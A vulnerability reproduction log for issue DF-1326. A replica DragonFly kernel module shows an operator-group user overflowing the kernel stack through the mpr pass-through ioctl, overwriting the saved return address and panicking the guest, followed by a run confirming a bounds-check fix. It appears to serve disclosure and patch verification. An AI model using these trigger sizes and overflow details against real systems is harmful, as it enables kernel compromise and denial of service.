DF-1326 / replica_run.log
DF-1326 pass-2 replica run log — kernel-module replica of mpr_user_pass_thru() prologue
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC (no mpr hardware: /dev/mpr* absent)
=== RUN 1 (vulnerable replica) ==============================================
# kldload /root/df1326/df1326.ko
df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1))
# ls -l /dev/df1326
crw-r----- 1 root operator 32, 0x00000000 /dev/df1326 <- same 0640 root:operator as make_dev() at mpr_user.c:205
# su operator -c /home/maxx/df1326/trigger # RequestSize=96 (== reqframesz)
ioctl MPTIOCTL_PASS_THRU RequestSize=96 rc=0 errno=0
df1326: enter reqframesz=128 RequestSize=96 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff80118ad36bc saved_rip_slot=0xfffff80118ad3740 (offset 132 bytes)
df1326: copyin returned 0 -- 84 bytes landed past the 12-byte tmphdr
df1326: saved RIP slot out of reach for this size (offset 132)
df1326: 10-byte aligned attacker-pattern spans observed out-of-band
df1326: RequestSize 96 PASSED the (post-copyin) bounds check too
df1326: prologue complete (dead-code checksum 69)
-> uid=2 (operator) opened the 0640 root:operator node O_RDONLY and
reached the ioctl: THE PRIVILEGE BOUNDARY CROSSING. 96 bytes = a size
that even PASSES the post-hoc reqframesz check smashes 84 bytes past
the 12-byte header with 10 aligned 8-byte fully-attacker-controlled
values.
# su operator -c "/home/maxx/df1326/trigger 4096" # RequestSize=4096
df1326: enter reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff801187e76bc saved_rip_slot=0xfffff801187e7740 (offset 132 bytes)
df1326: copyin returned 0 -- 4084 bytes landed past the 12-byte tmphdr
df1326: SAVED RIP SLOT OVERWRITTEN: was 0xffffffff8062cdb5 now 0x4546474841424344 (attacker-controlled: YES)
df1326: (restored; the real driver would return through the attacker value)
df1326: 508-byte aligned attacker-pattern spans observed out-of-band
-> saved return address slot contains the EXACT 8-byte attacker value
(0x4142434445464748, LE). The replica restores its own slot to keep
running, but 4084 bytes were already copied through every caller
frame above (dev_dioctl / syscall path):
--- console (panic.txt / panic2.txt) ----------------------------------------
Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer = 0x8:0xffffffff8062cdbb
stack pointer = 0x10:0xfffff801187e77b0
frame pointer = 0x10:0x4546474841424344 <- ATTACKER TAG in saved RBP of caller
current process = 1224
kernel: type 9 trap, code=0
Stopped at dev_dioctl+0x6b: ret <- caller's ret consumed smashed frames
db>
-> guest panicked (twice, identical signature; ssh died; vm.sh status => down).
IMPACT ON GUEST: kernel panic via attacker-controlled kernel-stack
smash, from a member of group operator, using the real copyin().
=== RUN 2 (FIXED replica: fix.diff mechanism applied: bounds check BEFORE
copyin + copyin limited to sizeof(tmphdr)) ========================
# make -f Makefile.fixed ...; kldload df1326.ko
df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1))
# su operator -c /home/maxx/df1326/trigger # RequestSize=96
ioctl MPTIOCTL_PASS_THRU RequestSize=96 rc=0 errno=0
df1326: ... RequestSize=96 ...
df1326: 0-byte aligned attacker-pattern spans observed out-of-band <- ZERO attacker bytes OOB
df1326: prologue complete (dead-code checksum 69)
# su operator -c "/home/maxx/df1326/trigger 4096" # RequestSize=4096
ioctl MPTIOCTL_PASS_THRU RequestSize=4096 rc=-1 errno=22 <- EINVAL BEFORE any copyin
df1326: enter reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12
df1326: &tmphdr=... (then returns EINVAL; no copyin prints)
# uptime
1:23PM up 2 mins, ... load averages: 0.06 ... <- guest healthy, no panic